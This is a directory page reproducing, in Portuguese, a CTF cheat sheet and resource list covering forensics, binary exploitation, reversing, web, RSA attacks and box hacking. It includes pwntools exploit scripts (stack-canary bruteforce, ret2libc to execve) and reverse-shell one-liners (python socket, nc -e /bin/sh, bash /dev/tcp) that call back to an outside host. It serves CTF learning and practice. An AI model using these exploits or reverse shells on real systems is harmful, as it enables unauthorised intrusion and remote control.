Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CTFs — CTF Cheat Sheet + Writeups / Arquivos para alguns dos CTFs de Segurança que fiz | Kitploit
Ferramentas/GitHubGitHub/adamkadaban/ctfs
OSINT (Inteligência de Fontes Abertas)Engenharia ReversaAnálise ForenseSegurança WebEsteganografiaCriptografiaCTFTestes de PenetraçãoAprendizado e EducaçãoRecursos CuradosExploração de BináriosLabs e Prática
84767há 9 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubadamkadaban/ctfs

CTFs

CTF Cheat Sheet + Writeups / Arquivos para alguns dos CTFs de Segurança que fiz

Ver RepositórioSite

CTFs

Writeups / Arquivos para alguns dos CTFs de Cibersegurança que realizei

Também incluí uma lista de recursos de CTF além de uma folha de dicas abrangente cobrindo vários desafios comuns de CTF

[!NOTE] Agora há um espelho web deste repositório em hackback.zip

Índice

  • Recursos

    • Canais do YouTube
    • Sites de Prática / Aprendizado
      • CTFs
      • Geral
      • Pwn
      • Rev
      • Web
      • Crypto
      • Smart Contracts
      • Cloud
      • Pentesting
  • Folha de Dicas CTF

    • Forense / Esteganografia
      • Geral
      • Áudio
      • Imagem
      • Vídeo
      • Imagem de Máquina
      • Pcap
    • Pwn / Exploração Binária
      • Geral
      • Buffer overflow
      • PIE (Execução Independente de Posição)
      • NX (Não-executável)
      • ROP (para binários estaticamente compilados)
      • Stack Canary
      • Vulnerabilidades de String de Formatação
      • Shellcode
      • Return-to-Libc
    • Engenharia Reversa
      • Solucionadores SMT
      • Reversão de verificações byte a byte
      • Buscar strings com gef
    • Web
      • Fuzzing de campos de entrada
    • Crypto
      • CyberChef

      • Cifras Comuns

      • RSA

        • Obter informações RSA com pycryptodome
        • Teorema Chinês do Resto (p,q,e,c)
        • Ataque Coppersmith (c,e)
        • Ataque Pollard (n,e,c)
        • Ataque Wiener (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Box
      • Conectar
      • Enumeração
      • Escalação de privilégio
      • Ouvir por reverse shell
      • Reverse shell
      • Obter shell interativo
        • Linux
        • Windows / Geral
    • OSINT
    • Misc

Recursos

Canais do YouTube

  • John Hammond
    • Costumava fazer muitos vídeos de CTF, mas mudou para outras coisas.
    • Ainda tem muitos vídeos úteis. Os de CTF são especialmente incríveis para ensinar pessoas novatas em cibersegurança.
  • Live Overflow
    • Faz vídeos extremamente interessantes e aprofundados sobre cibersegurança.
    • Tem uma série incrível de pwn
  • IppSec
    • Faz writeups de todas as máquinas do HackTheBox
      • Fala sobre diferentes maneiras de resolver e por que as coisas funcionam. Altamente recomendado.
  • Computerphile
    • Mesmas pessoas do Numberphile, mas mais legal. Faz vídeos realmente para iniciantes e intuitivos sobre conceitos básicos.
  • pwn.college
    • Professor da ASU que tem muitos vídeos sobre pwn.
    • Material do curso guiado: https://pwn.college/
    • Muitos problemas práticos: https://dojo.pwn.college/
  • PwnFunction
    • Vídeos animados de alta qualidade e fáceis de entender sobre vários tópicos.
    • Os tópicos são um pouco avançados, mas facilmente compreensíveis.
  • Martin Carlisle
    • Faz vídeos incríveis de writeup sobre os desafios do picoCTF.
  • Sam Bowne
    • Professor da CCSF que disponibiliza todas as suas aulas e material do curso como código aberto em seu site.
  • UFSIT

Palestras

Aqui estão alguns slides que montei: hackback.zip/presentations

Sites de Prática / Aprendizado

CTFs

  • PicoCTF
    • Toneladas de desafios práticos incríveis.
    • Definitivamente o padrão ouro para começar.
  • UCF
    • Bom no geral, mas ótima prática de pwn.
    • Atualmente estou trabalhando em colocar writeups aqui.
  • hacker101
    • CTF, mas um pouco mais voltado para pentesting.
  • CSAW
    • Fora do ar 90% do tempo e geralmente nenhuma conexão funciona.
    • Se estiver no ar, porém, tem muitos bons desafios introdutórios.
  • CTF101
    • Uma das melhores introduções a CTFs que já vi (parabéns osiris).
    • Muito sucinto e amigável para iniciantes.

Geral

  • HackTheBox
    • O site OG de boxes.
      • As boxes são selecionadas para garantir qualidade.
    • Agora tem alguns problemas no estilo CTF.
    • Agora tem cursos para começar a aprender.
  • TryHackMe
    • Boxes um pouco mais fáceis que o HackTheBox.
    • Desafios passo a passo.
    • Agora tem "trilhas de aprendizado" para guiá-lo pelos tópicos.
  • CybersecLabs
    • Ótima coleção de boxes.
    • Tem algumas coisas de CTF.
  • VulnHub
    • Tem máquinas virtuais vulneráveis que você precisa implantar.
    • Muita variedade, mas difícil de encontrar boas na minha opinião.

Pwn

  • pwnable.kr
    • Desafios com boa variedade de dificuldade.
  • pwnable.tw
    • Mais difícil que pwnable.kr.
    • Tem writeups depois que você resolve o desafio.
  • pwnable.xyz
    • Mais desafios pwn.
    • Tem writeups depois que você resolve o desafio.
    • Você pode enviar seus próprios desafios depois de resolver todos.
  • pwn dojo
    • Melhor coleção de desafios pwn na minha opinião.
    • Acompanhado de slides ensinando como fazer e tem um Discord se precisar de ajuda.
  • nightmare
    • Padrão ouro para pwning de binários C.
    • Tem alguns erros/digitações, mas incrível no geral.
  • pwn notes
    • Notas de uma pessoa aleatória online.
    • Muito superficial, mas boa introdução a tudo.
  • Security Summer School
    • Curso de Segurança da Universidade de Bucareste.
    • Explicações muito amigáveis para iniciantes.
  • RPISEC MBE
    • Curso de Exploração Binária Moderna da RPI.
    • Tem uma boa quantidade de laboratórios/projetos para prática e algumas palestras (um pouco datadas).
  • how2heap
    • Série de Exploração de Heap feita pela equipe CTF da ASU.
    • Inclui um recurso de depuração muito legal para mostrar como os exploits funcionam.
  • ROPEmporium
    • Conjunto de desafios em todas as principais arquiteturas ensinando Programação Orientada a Retorno.
    • Muito alta qualidade. Ensina desde as técnicas mais básicas até as mais avançadas.
    • Estou adicionando meus próprios writeups aqui.

Rev

  • challenges.re
    • Tantos desafios 0_0.
    • Muita diversidade.
  • reversing.kr
  • crackmes.one
    • Toneladas de desafios estilo crackme (CTF).
  • Malware Unicorn Workshops
    • Workshops gratuitos sobre Engenharia Reversa e Análise de Malware.

Web

  • websec.fr
    • Muitos desafios web com boa variedade de dificuldade.
  • webhacking.kr
    • Tem arquivo de muitos bons desafios web.
  • Securing Web Applications
    • Curso CCSF de código aberto.
  • OWASP Juice Shop
    • Muito voltado para pentesting, mas útil para explorar web em CTFs.
    • Mais de 100 vulnerabilidades/desafios no total.
  • PortSwigger
    • Padrão ouro para entender hacking web.
    • Toneladas de desafios e explicações incríveis.
  • DVWA
    • Muito voltado para pentesting, mas útil para explorar web em CTFs.
  • bWAPP
    • Muito voltado para pentesting, mas útil para explorar web em CTFs.
  • CTF Challenge
    • Coleção de desafios web feitos por Adam Langley que são criados para serem o mais realistas possível.
    • Bom para ganhar experiência em bug bounty.

Crypto

  • CryptoHack
    • Atualmente estou trabalhando em colocar writeups aqui.
  • cryptopals
    • O site OG de desafios de criptografia.
  • CryptoCTF
    • CTF de criptografia anual. Anos anteriores acessíveis em 20{19,20,21,22,23,24}.cr.yp.toc.tf.

Smart Contracts

  • Capture the Ether

Cloud

  • CloudFoxable
    • Guia você na configuração de um ambiente vulnerável para ser explorado usando cloudfox.
  • flaws.cloud
    • Desafios gratuitos que envolvem encontrar segredos em S3, EC2 e Lambda.

Pentesting

  • hacker101
  • hacksplaining
  • Exploit developement
    • Curso CCSF de código aberto.
  • Intro to Security
    • Curso da UC San Diego ministrado por Deian Stefan.
    • Aborda pwn básico e criptografia.
  • Active Directory Cheat Sheet
  • WADComs
    • Folha de dicas interativa para ambientes Windows/AD.
  • LOLBAS
    • Folha de dicas interativa para binários, scripts e bibliotecas Windows "Living off the land" para exploração.
  • GTFOBins
    • Folha de dicas interativa para técnicas Linux "Living off the land".

Folha de Dicas CTF

Forense / Esteganografia

Geral

  • AperiSolve
    • Ferramenta que executa automaticamente outras ferramentas de esteganografia.
  • Recurso muito bom de John Hammond para diferentes tipos de desafios:
    • https://github.com/JohnHammond/ctf-katana
  • Outra folha de dicas muito boa para criar e resolver desafios:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <file.xyz>
    • Determina o tipo de arquivo.
  • steghide
    • steghide extract -sf <file.xyz>
    • Extrai arquivos embutidos.
  • stegseek
    • stegseek <file> <password list>
    • Extrai arquivos embutidos usando uma wordlist.
    • super super rápido.
  • binwalk
    • binwalk -M --dd=".*" <file.xyz>
    • Extrai arquivos embutidos.
  • exiftool
    • exiftool <file.xyz>
    • Lê metadados.
  • strings
    • strings <file.xyz>
    • Encontra todos os caracteres imprimíveis em um arquivo.
  • hexedit

Áudio

  • Áudio de máquina de fax:

    • Exemplo
    • Decodificador
  • Áudio SSTV (televisão de varredura lenta) (coisas da lua)

    • Exemplo
    • Decodificador
    • Decodificador Alternativo
    • Use estas configurações do qsstv:

    SSTV settings

  • Imagem de espectrograma

    • Decodificador
  • Alterar tom, velocidade, direção...

    • Tom, velocidade, afinação
    • Reverter
  • Teclas de telefone DTMF (frequência múltipla de dois tons)

    • multimon-ng -a DTMF -t wav <file.wav>
      • Tenha em mente que podem ser letras multitap.
        • Isso pode decodificar os números em texto.
  • Fita cassete

    • Exemplo
    • Decodificador (wav para arquivos tap)
  • Código Morse

    • Decodificador

Imagem

  • stegsolve

    • Alternar entre bits.
  • foremost

    • Ferramenta especial para extrair imagens.
    • Pode ser usada para montar imagens quebradas (por exemplo, em pcap).
  • Depix

    • Despixelar texto.
  • Verificar se algo foi photoshopado (olhar para realces).

    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg

    • Decodificador LSB.
  • jsteg

    • Solucionador de esteganografia jpeg.
  • pixrecovery

    • até agora a ferramenta de recuperação de png mais eficaz que encontrei (desde que você não se importe com marcas d'água).
    • photopea também funciona muito bem.
  • crc32fix

    • corrigir altura e largura de png com base no checksum.
  • PCRT

    • corrigir informações de cabeçalho e rodapé de png.
  • png-crc-fix

    • corrigir checksum de png.
  • pngcheck

    • descobrir se há erros no png.
    • pngcheck

Vídeo

Imagem de Máquina

  • Recuperando arquivos
    • photorec <file.bin>
  • Você pode montar uma imagem como uma máquina virtual.
    • https://habr.com/en/post/444940/
  • Montar um arquivo .img:
    • binwalk -M --dd=".*" <fileName>
    • execute file na saída e selecione o arquivo do sistema de arquivos Linux.
    • losetup /dev/loop<freeLoopNumber> <fileSystemFile>

Pcap

  • Extrair dados com tcpflow
    • tcpflow -r <file.pcap>
  • Extrair dados com wireshark
    • Arquivo → Exportar Objetos → Fazer seleção

Pwn / Exploração Binária

  • Para este, sugiro olhar meu repositório LearnPwn em vez disso, pois esta folha de dicas foi feita antes de eu saber muito sobre pwn.
    • No entanto, incluí algumas notas complementando o que tenho aqui.

Geral

  • verificar segurança de ELF
    • checksec <binary>
    • rabin2 -I <binary>
  • verificar segurança de PE
    • binary-security-check
    • binary-security-check <bin>.exe
  • verificar seccomp bpf
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • olhar símbolos
    • readelf -s <binary>
  • olhar strings
    • rabin2 -z <binary>
  • empacotar endereço em byte
    • little endian (para 32 bits)
      • python -c "import pwn; print(pwn.p32(<intAddr>))
    • big endian (para 64 bits)
      • python -c "import pwn; print(pwn.p64(<intAddr>))
    • pwntools empacota automaticamente endereços com a endianidade correta para você.

Buffer overflow

  • Se você precisar obter um shell /bin/sh e tiver certeza de que funciona, mas o programa sai mesmo assim, use este truque:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
    • pwntools faz isso com seu process.interactive()

PIE (Execução Independente de Posição)

  • determinar valor aleatório
    • pwn cyclic <numChars> para gerar payload
    • dmesg | tail | grep segfault para ver onde estava o erro
    • pwn cyclic -l 0x<errorLocation> para ver o offset aleatório para controlar o ponteiro de instrução
    • exemplo

NX (Não-executável)

  • Podemos usar ROP (programação orientada a retorno) para resolver

ROP (para binários estaticamente compilados)

  • ROPGadget
    • visualizar gadgets e gerar automaticamente ropchains.
    • ROPgadget --ropchain --binary <binary>
      • Você pode então adicionar padding no início do código (com base na diferença entre seu buffer e o endereço de retorno) e executar o código para obter um shell.
      • Demo
  • ropr

Stack CanaryEncontrando o stack canary em um depurador

  • Stack canary é um valor colocado antes do EIP/RIP (ponteiro de instrução) que pode ser sobrescrito por um estouro de buffer (buffer overflow). O programa causa um erro basicamente se a pilha (stack) é sobrescrita para algo diferente do que era originalmente. Nosso objetivo é encontrar a pilha original para que, quando ocorrer o estouro, o programa funcione normalmente.
  • O stack canary é obtido a partir de gs ou fs (para 32 e 64 bits, respectivamente)
    • Na desmontagem (disassembly), antes de algo ser lido, você pode ver uma linha semelhante à seguinte:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
- Aqui, o canary da pilha é movido para `rax` no offset +8.
    - Portanto, pare no próximo offset e verifique o que está em rax (`i r rax`) para ver qual é o canary atual

**Canaries Estáticos**
- Um canary só é estático se foi implementado manualmente pelo programador (o que é o caso em alguns desafios introdutórios de pwn), ou se você puder fazer fork do programa.
    - Quando você faz fork do binário, o processo filho tem o mesmo canary, então você pode fazer um bruteforce byte a byte nele

**Extra**
- Quando um canary de pilha é sobrescrito incorretamente, isso causará uma chamada a `__stack_chk_fail`
    - Se não conseguirmos vazar o canary, também podemos modificar a tabela GOT para impedir que ele seja chamado
- O canary é armazenado na estrutura `TLS` da pilha atual e é inicializado por `security_init`
    - Se você puder sobrescrever o valor real do canary, poderá defini-lo igual ao que decidir para o overflow.

- Script simples para bruteforce de um canary estático de 4 bytes:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Vulnerabilidades de String de Formato

  • Consulte a Tabela 2 para saber o que tentar se você vir "printf(buf)" ou algo parecido:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • Recomendo fortemente assistir John Hammond resolvendo o desafio 'echooo' do picoCTF 2018
  • Às vezes, tentar imprimir apenas strings da pilha assim: '%s %s %s %s %s %s' pode causar erros, pois nem tudo na pilha é uma string.
  • Tente minimizar isso fazendo '%x %x %x %x %x %s'
  • Em vez de ter que aumentar constantemente a quantidade de %x e %s que você digita, você pode passar um parâmetro para facilitar:
    • %1$s - Isso imprimirá o primeiro valor na pilha (pelo que entendi, o que está ao lado do seu buffer) como uma string.
    • %2$s - Isso imprimirá o 2º valor como uma string, e você entendeu a ideia
    • Você pode usar loops de uma linha para tentar encontrar a flag vazando a pilha. Pressione ^C (CTRL + C) para ir para o próximo valor.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • Você pode controlar quanto vaza usando diferentes parâmetros de tamanho:
    • %hhx vaza 1 byte (metade da metade do tamanho de int)
    • %hx vaza 2 bytes (metade do tamanho de int)
    • %x vaza 4 bytes (tamanho de int)
    • %lx vaza 8 bytes (tamanho de long)

Shellcode

  • Bom site para encontrar diferentes shellcodes:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • Nós sobrescreveremos o EIP para chamar a função de biblioteca system() e também passaremos o que ela deve executar, neste exemplo um buffer com "/bin/sh"

  • Boa explicação:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • Bom exemplo (vá para 3:22:44):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • Obter endereço para execve("/bin/sh")

    • one_gadget <libc file>
  • Se você já conhece o arquivo libc e um local (ou seja, não precisa vazá-los...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Reverse Engineering

> Guia Interessante: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - Descompilador muito útil
- dotPeek ou dnSpy
    - descompilar executáveis .NET
- [jadx](https://github.com/skylot/jadx) e jadx-gui
    - descompilar APKs
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - descompilar Java online
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - Descompilador Java avançado baseado em terminal
- apktool
    - descompilar APKs
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - Análise binária
    - [peda](https://github.com/longld/peda) (extensão para funcionalidade aumentada)
    - [gef](https://github.com/hugsy/gef) (extensão do gdb para pwners)
- [radare2](https://github.com/radareorg/radare2)
    - Análise binária
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` turbinado. Usa análise estática para encontrar e calcular strings

#### Solvers SMT
- [angr](https://github.com/angr/angr) (python)
    - [Docs](https://docs.angr.io/core-concepts/toplevel)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### Revertendo verificações byte a byte (ataque de canal lateral)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- Aqui está uma versão que fiz para um desafio que usa um ataque baseado em tempo:
    - Talvez seja necessário executá-lo algumas vezes apenas para levar em conta a aleatoriedade```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

Pesquisando strings com gef

  • Se sua flag está sendo lida em uma variável ou registro em algum momento, você pode parar após ela ser movida e executar grep <string> que o gef mostrará automaticamente a string que corresponde ao seu padrão de pesquisa

Web

  • Nikto (se permitido)
    • procura automaticamente por vulnerabilidades
  • gobuster (se permitido)
    • Força bruta em diretórios e arquivos
  • hydra (se permitido)
    • Força bruta em logins de vários serviços
  • BurpSuite
    • Intercepta requisições web e permite modificá-las
  • Wireshark
    • Analisa tráfego de rede ao vivo e arquivos pcap
  • php reverse shell
    • Útil para sites que permitem upload de arquivos
    • Este arquivo precisa ser executado no servidor para funcionar
  • WPScan
    • Escaneia sites WordPress
    • Use wpscan --url <site> --plugins-detection mixed -e com uma chave de API para melhores resultados
  • jwt
    • Você pode identificar um token JWT pois JSON codificado em base64 (e portanto tokens JWT) começa com "ey"
    • Este site decodificará tokens JSON web
    • Você pode quebrar o segredo do token JSON web para modificar e assinar seus próprios tokens
      • echo <token> > jwt.txt
      • john jwt.txt
  • Injeção SQL
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

Fuzzing em campos de entrada

  • FFUF
    • Copie a requisição para o campo de entrada e substitua o parâmetro por "FUZZ":
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • Use -fs para filtrar tamanhos

Criptografia

CyberChef

  • CyberChef
    • Realiza várias operações criptográficas

Detector de Cifras

Hashes

  • hashid
    • Utilitário de linha de comando para detectar o tipo de hash

Cifras Comuns

  • Cifra de César
  • Cifra de Vigenère```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Cifra de Substituição](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Cifra de César com chave](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### Obter Informações RSA com pycryptodome```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Teorema Chinês do Resto (p,q,e,c)

  • Use isso quando você pode fatorar o número n

    • Implementações ruins terão mais de um fator primo
    • Prova
  • Antigo```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- Novo```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • Site que fornece fatores e totiente de Euler (phi)
    • https://www.alpertron.com.ar/ECM.HTM

Coppersmith attack (c,e)

  • Geralmente usado se o expoente é muito pequeno (e <= 5)

    • Prova```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Pollards attack (n,e,c)
- Baseado no [método de fatoração de Pollard](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), que torna produtos de primos [fáceis de fatorar](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) se eles forem (B)smooth 
    - Este é o caso se `p-1 | B!` e `q - 1` tiver um fator > `B````python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • Para usar quando d é muito pequeno (ou e é muito grande)
    • Usando este módulo python
    • Prova```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Máquina

### Conectando

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - Montar SSH como sistema de arquivos localmente:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - Hosts conhecidos
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### Enumeração

- Descoberta de máquina
    - `netdiscover`
- Varredura de portas da máquina
    - `nmap -sC -sV <ip>`
- Enumeração Linux
    - `enum4linux <ip>`
    
- Enumeração SMB
    - `smbmap -H <ip>`
- Conectar ao compartilhamento SMB
    - `smbclient //<ip>/<share>`

### Escalação de privilégios

- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - Procura automaticamente por vetores de escalação de privilégios
- Listar comandos que podemos executar como root
    - `sudo -l`
- Encontrar arquivos com permissão SUID
    - `find / -perm -u=s -type f 2>/dev/null`
    - Esses arquivos executam com os privilégios do proprietário em vez do usuário que os executa
- Encontrar permissões para todos os serviços
    - `accesschk.exe -uwcqv *`
    - Procure por serviços que não estão sob as contas de Sistema ou Administrador
- Consultar Serviço
    - `sc qc <service name>`
    - Funciona apenas no cmd.exe 

### Ouvir por reverse shell

- `nc -lnvp <port>`

### Reverse shell

- revshells.com
    - modelos para basicamente tudo que você pode precisar
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### Obter shell interativo

#### Linux

1. Execute o seguinte comando python para torná-lo parcialmente interativo: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Saia da sessão netcat com `CTRL+Z` e execute `stty raw -echo` localmente
3. Reentre na sua sessão com o comando `fg` (e o ID do job depois, se necessário)
4. Altere seu emulador de terminal para xterm executando `export TERM=xterm` (pode não ser necessário)
5. Altere seu shell para bash executando `export SHELL=bash` (pode não ser necessário)
6. Pronto! Agora seu shell deve estar totalmente interativo

#### Windows / Geral

1. Instale o `rlwrap` no seu sistema
2. Agora, toda vez que você executar um listener nc, basta colocar `rlwrap` na frente
3. Por exemplo: `rlwrap nc -lvnp 1337`
    * Isso dará a você teclas de seta e histórico de comandos, mas não dará autocompletar (pelo que eu sei) para sistemas Windows e *nix 

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - Pesquisa reversa de rostos na internet
- [OSINT Framework](https://osintframework.com/)
    - Site que agrega toneladas de ferramentas OSINT
- [GeoSpy AI](https://geospy.ai)
	- LLM de visão geoespacial que pode estimar localização apenas a partir de uma imagem
- [overpass turbo](https://overpass-turbo.eu)
	- Site que permite consultar a API do OpenStreetMap e visualizar resultados
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- Site que permite consultar facilmente a API OSM

## Diversos

- Resolvendo erros de DNS
    - `dig <site> <recordType>`
    - [Lista de tipos de registro](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - Certifique-se de tentar TXT
- Executar um binário como uma arquitetura diferente
    - 64 bits:
        - `linux64 ./<binary>`
    - 32 bits:
        - `linux32 ./<binary>`
        
- Extrair Macros do MS:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- Visualizar GCode CNC
    - [https://ncviewer.com/](https://ncviewer.com/)
Baixar ferramenta
  • Equipe Cyber da UF (sou um pouco tendencioso, mas definitivamente um dos melhores canais do YouTube para isso).
  • Gynvael
    • Faz writeups em vídeo incrivelmente intuitivos. Fez a totalidade do picoCTF 2019 (isso é muito).
  • Black Hills Information Security
